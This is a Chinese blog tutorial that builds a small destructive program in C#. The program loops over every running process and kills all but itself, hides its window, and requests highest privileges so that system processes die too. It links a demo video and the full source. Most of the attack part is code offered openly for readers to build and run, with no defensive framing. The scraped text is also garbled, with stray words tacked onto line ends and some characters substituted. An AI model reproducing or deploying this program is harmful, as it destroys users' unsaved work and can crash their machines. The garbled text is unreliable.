"HK"平常之用C# Process写一只小病毒

    众所周知,Process能够启动和关闭电脑上的进程,命名空间位于 System.Diagnostics,本次的教程就是利用其中的GetProcesses和Kill方法来实现的。git

 

1、编码工做

首先咱们建立一只Console项目(只要是C#的均可以)github

为了让这篇博客短一点,我把代码精简了下安全

接下来咱们须要用到foreach来一个个循环出电脑里的进程.app

foreach (var p in Process.GetProcesses())

为了不中途把本身杀掉,则须要跳过本身,使用其ProcessName属性则能够(SystemKill能够自行更改)测试

 if (p.ProcessName != "SystemKill")

有些进程杀不掉因此须要给他套上一个try catch后再使用Kill方法,像这样编码

foreach (var p in Process.GetProcesses()){
                try{
                    if (p.ProcessName != "SystemKill")
                         p.Kill(); 
                }catch { }
            }

这样会显示出一个小方框,咱们能够把项目类型改成Windows窗口应用spa

还有一些顽固的系统进程杀不掉,这里就须要用到最高权限了(highestAvailable)code

更改位于app.manifest文件下的requestedExecutionLevel项视频

若没有此文件可到项目属性里>安全性>启用ClickOnce,等待出现该文件后再关闭掉ClickOnce.blog

 

2、编译测试

视频:https://gitee.com/TwilightLemon/Updata/raw/master/cc.mp4

心疼电脑1毫秒

 

最后,附上源代码一只https://github.com/TwilightLemon/SystemKill

但愿你们多多关注我哦!

相关文章
相关标签/搜索